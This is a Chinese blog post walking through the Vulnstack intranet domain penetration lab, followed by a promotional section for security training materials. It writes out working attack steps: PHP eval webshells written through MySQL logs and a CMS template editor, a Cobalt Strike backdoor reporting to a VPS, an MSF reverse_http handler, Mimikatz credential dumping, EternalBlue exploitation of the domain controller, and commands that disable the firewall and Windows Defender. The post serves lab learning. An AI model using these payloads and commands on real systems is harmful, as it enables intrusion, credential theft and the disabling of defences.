当前位置:   article > 正文

2024年网安最全Vulnstack红日安全内网域渗透靶场1实战_vulnstack靶场

vulnstack

VulnStack 是由红日安全团队倾力打造一个靶场知识平台,靶场环境(CMS、漏洞管理、以及域管理等)全部依据国内企业的业务习惯进行模拟,环境设计思路全部来源 ATT&CK 红队评估设计模式,从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。为了进一步学习内网渗透,本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。

靶场环境搭建

在线 靶场链接 如下:
在这里插入图片描述1、下载后为 3 个虚拟机,网络拓扑如下:
在这里插入图片描述

2、从网络拓扑图得知,需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,故需要配置两个网络适配器(网卡),点击添加网络设配器:
在这里插入图片描述3、然后将 Win7 的网络适配器 1 设置成自定义( VMnet1 仅主机模式),网络适配器 2 设置成 NAT 模式:
在这里插入图片描述
4、而 Win2003、Win2008 网络适配器设置成自定义(VMnet1仅主机模式)即可:
在这里插入图片描述在这里插入图片描述
5、至此网络配置完成,现在可以登进去每个服务器看一看,是不是成功获取了IP,这三台虚拟主机默认开机密码都是 hongrisec@2019(有的会提示密码已过期,更改为 Qwer1234 即可),最终形成的 IP 划分情况如下:

主机IP地址
Win10 物理机192.168.92.1(VMnet8 网卡的IP)
Win7 外网服务器外网IP:192.168.92.130;内网IP:192,168.52.143
Win2003 域成员主机内网IP:192.168.52.141
Win 2008 域控主机内网IP:192.168.52.138
VPS 攻击机(MSF、CS服务器)外网IP:104.XXX.XXX.164

【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段:
在这里插入图片描述

6、配置完网络顺便验证下, Win7 外网服务器主机可访问外网,Win2003 内网主机不可通外网:
在这里插入图片描述在这里插入图片描述
6、环境搭建的最后,在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务(模拟外网 Web 站点):
在这里插入图片描述7、使用 Win10 物理机可正常访问 Win7 服务器的站点:
在这里插入图片描述至此,整个内网域靶场的环境搭建完毕。

外网边界突破

接下来开始正式的渗透测试,红日安全团队给出了一个红队的评估测试方法流程可供参考:
在这里插入图片描述
可以看到想进目标内网,需要先再外网打点,找到目标单位的外网服务站点、主机漏洞,并获得 Shell,再借助外网服务器当跳板机访问目标内网。

MySQL写日志Getshell

1、在 Win10 物理机访问目标单位的外网站点,发现一个 MySQL 连接检测:
在这里插入图片描述输入账号 root 密码 root 进行连接检测,发现连接成功:
在这里插入图片描述2、然并卵,没啥用啊,无奈使用 dirsearch 扫描下 Web 路径,有惊喜,发现有 phpmyadmin 路径:
在这里插入图片描述3、访问 PhpMyAdmin (它是一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库),如下图所示:
在这里插入图片描述4、发现存在弱口令 root/root,可成功登录后台:
在这里插入图片描述接下来通过 PhpMyAdmin 后台 Getshell 有两种方法,具体可参见我的另一篇博文:渗透测试-PhpMyAdmin后台getshell

5、先尝试直接使用into outfile导出木马的方式是否可行,先执行select @@basedir;查网站的物理路径:
在这里插入图片描述
那么执行select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/111.php';写入木马到网站的根目录,写入失败(需要修改 MySQL 配置才行,具体参见另一博文,此处不介绍):
在这里插入图片描述

6、直接写入木马不行,那就换另一种方法——通过 MySQL 日志导入木马。先执行命令:show variables like '%general%'; 查看日志状态:
在这里插入图片描述
7、当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值,则所执行的 SQL 语句就会对应生成对应的文件中,进而可 Getshell。故执行命令:SET GLOBAL general_log='on'
在这里插入图片描述在这里插入图片描述
8、执行命令:SET GLOBAL general_log_file='C:/phpStudy/www/111.php',指定日志写入到网站根目录的 111.php 文件:
在这里插入图片描述
9、接下来执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>',即可将一句话木马写入 111.php 文件中:
在这里插入图片描述
10、访问日志文件(已写入一句话木马):
在这里插入图片描述直接上 Cknife 工具 Getshell,如下图所示:
在这里插入图片描述

CMS后台上传GetShell

此靶场还有另外一种从外网 Getshell 的突破方法,本着以学习为目的的初心,在此也记录一下吧。

1、御剑扫网站后台,发现一个备份文件:
在这里插入图片描述
解压缩发现是一个 CMS 的源码:
在这里插入图片描述
2、猜测服务器搭建了 yxcms 系统,访问路径,果然存在:
在这里插入图片描述3、观察发现公告处有提示后台地址和账号密码……
在这里插入图片描述4、那必然是进后台……CMS相关系列,能拿到后台的,离 shell 还远吗?不是日志写入一句话,就是某某模板编译写入一句话,果断找模板编辑的地方。如下找到“前台模板”功能,点击进入编辑:
在这里插入图片描述5、新增 shell.php 文件:
在这里插入图片描述6、创建成功后我们通过刚刚拿到的网站源码,进行文件目录查找,最后找到木马生成后的位置在/yxcms/protected/apps/default/view/default/路径下,如下:
在这里插入图片描述
7、故访问该路径下(http://192.168.92.130/yxcms/protected/apps/default/view/default/shell.php)的木马:
在这里插入图片描述上 Cknife 连接木马文件获得 Shell,如下所示:
在这里插入图片描述同时发现已经是管理员账户可以省略提权了(但似乎只是一个域用户):
在这里插入图片描述
至此,外网打点 GetShell 结束,下面将进入内网渗透阶段。

内网信息探测

下面开始内网渗透的硬骨头,目标是通过 Win7 外网服务器主机的现有控制权,横向渗透内网,拿下域控!在此之前需要进行内网信息搜集,摸清内网域组成和网络拓朴。

靶机CS Backdoor上线

拿下服务器权限后就要植入 Backdoor,植入 Backdoor 的方法大致有两种—— MSF 和 Cobalts Strike,这里演示 Cobalts Strike 的方式。

1、公网 VPS 上运行 CS 服务:
在这里插入图片描述2、本地 Win10 物理机运行 CS 客户端并连接 CS 服务端,然后生成 exe 可执行 Backdoor 程序:
在这里插入图片描述
3、利用 Cknife 将生成的 exe Backdoor 文件上传到靶机:
在这里插入图片描述4、接着在 Cknife 中使用终端命令行执行 exe Backdoor,随之 CS 客户端可以看到靶机上线:
在这里插入图片描述5、进行简单的靶机信息收集:
在这里插入图片描述6、可使用 Mimikatz 直接抓取本机用户密码:
在这里插入图片描述7、进一步还可以利用 MS14-058 成功提权到 SYSTEM 系统权限账户:
在这里插入图片描述在这里插入图片描述

内网域环境信息的收集

内网信息收集的主要目的就是查找域控以及域内的其他主机,先附上部分内网信息收集的命令:

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

1、先判断是否存在域,使用 ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org,如下图所示:
在这里插入图片描述或者也可以执行命令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息:
在这里插入图片描述

2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD,那接下来可执行net view /domain查看有几个域(域环境可能存在多个域):
在这里插入图片描述
3、既然只有一个域,那就利用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA:
在这里插入图片描述
4、已经确认域控主机的名称为 OWA,继续执行命名net view查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138,如下图所示:
在这里插入图片描述5、局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后再确认一下该主机是否也是存在域中,故执行命令net group "domain computers" /domain 查看域中的其他主机名,发现包含ROOT-TVI862UBEH,故域中还包含一个域成员主机192.168.52.141,如下所示:
在这里插入图片描述
至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!

内网横向渗透

接下来将通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机。

CS派生会话给公网MSF

MSF 框架集成了诸多渗透测试的利器,在内网渗透中经常要将 CS 和 MSF 搭配起来一块食用!下面演示如何将 CS 获取到的会话派生给 MSF。

此处我在 VPS 主机上同时搭建了 MSF 框架和 CS 服务,其中 MSF 的搭建只需执行以下几条命令即可:

apt-get install curl,wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
执行安装脚本:./msfinstall
启动MSF框架: msfconsole

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

1、MSF 开启监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 104.168.\*\*\*.\*\*\*
set lport 6666
exploit 

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

如下图所示:
在这里插入图片描述2、CS 开启监听

回到 Cobalt Strike 中添加监听器,Payload 为 windows/foreign/reverse_http,IP 为 MSF 的 IP,监听端口为 MSF 监听的端口:
在这里插入图片描述
3、CS 派生会话
在这里插入图片描述选择刚才新建的与 MSF 对应的监听器:
在这里插入图片描述
此时返回 VPS 中的 MSF 窗口即可看到获得的 Shell 会话:
在这里插入图片描述4、MSF 简单利用

获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐):
在这里插入图片描述再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序:
在这里插入图片描述

MSF进行永恒之蓝攻击

公网 VPS 上 MSF 获得会话后,目标是借助 MSF 集成的攻击模块开展横向渗透拿下内网其他机器。

静态路由配置

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。

首先需要使用配置静态路由:

#加载MSF的autoroute模块,获取当前机器的所有网段信息
meterpreter > run post/multi/manage/autoroute  
#添加目标内网路由
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

  • 1
  • 2
  • 3
  • 4
  • 5

1、获取、查看当前机器的所有网段信息:
在这里插入图片描述2、添加目标内网路由(添加失败,因为该路由已存在):
在这里插入图片描述MSF内网端口扫描

现在路由可达内网网段,可以先对内网主机进行探测。

1、先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run

  • 1
  • 2
  • 3
  • 4
  • 5

发现开启了 445 端口:
在这里插入图片描述2、同样的方法,发现域控主机192.168.52.138也开启了 445 端口:
在这里插入图片描述
利用ms17-010进行攻击

1、对于开启了 445 端口的 Windows 服务器,肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描:

msf6 > search ms17_010 #搜索MSF集成的与ms17\_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run  #进行扫描,观察是否存在该漏洞

  • 1
  • 2
  • 3
  • 4
  • 5

如下图所示,发现内网其他两台主机都存在永恒之蓝漏洞:
在这里插入图片描述2、接下来尝试利用永恒之蓝漏洞拿下域控主机192.168.52.138,使用 MSF 集成的 ms17-010 漏洞 EXP:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhosts 192.168.52.138
msf6 > run

  • 1
  • 2
  • 3
  • 4
  • 5

执行命令如下:
在这里插入图片描述发现域控主机被打蓝屏了:
在这里插入图片描述但是 MSF 并未成功获得域控主机的 Shell 会话:
在这里插入图片描述3、猜测是跳板机 Win7 的防火墙导致的,返回 Win7 的 Shell 会话并执行命令关闭跳板机的防火墙功能:

msf6-> sessions -l #查看所有会话
msf6-> sessions 4  #进入会话4中
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender

  • 1
  • 2
  • 3
  • 4
  • 5

执行结果如下:
在这里插入图片描述此时到 Win7 虚拟机也可以看到防火墙被关闭的提醒:
在这里插入图片描述4、好了那接下来就开始重新对域控主机进行永恒之蓝攻击,还是无法获得 Shell 会话……
在这里插入图片描述5、好吧看网上资料确实要通过永恒之蓝直接获得目标主机的 Shell 的话成功率不高(我甚至把域控主机的防火墙也关了发现也不行)……以下成果演示借鉴内网渗透靶场学习实验 ,如下是成功通过永恒之蓝获得域控的 MSF 会话:
在这里插入图片描述可执行命令screenshot截取目标靶机的屏幕,确认已拿下域控:
在这里插入图片描述以上便是借助永恒之蓝漏洞横向渗透拿下域控主机的全过程!

MSF开启3389远程桌面

拿下域控的 Shell 后如果能使用远程桌面连接域控主机,那么管理起来肯定更加方便了。

1、MSF 提供端口转发模块,可以实现将内网的远程桌面端口转发到外网跳板机的端口上,以实现本地物理机进行远程桌面连接。其具体命令如下:

portfwd
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口

  • 1
  • 2
  • 3
  • 4
  • 5

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/木道寻08/article/detail/932179
推荐阅读
相关标签
  

闽ICP备14008679号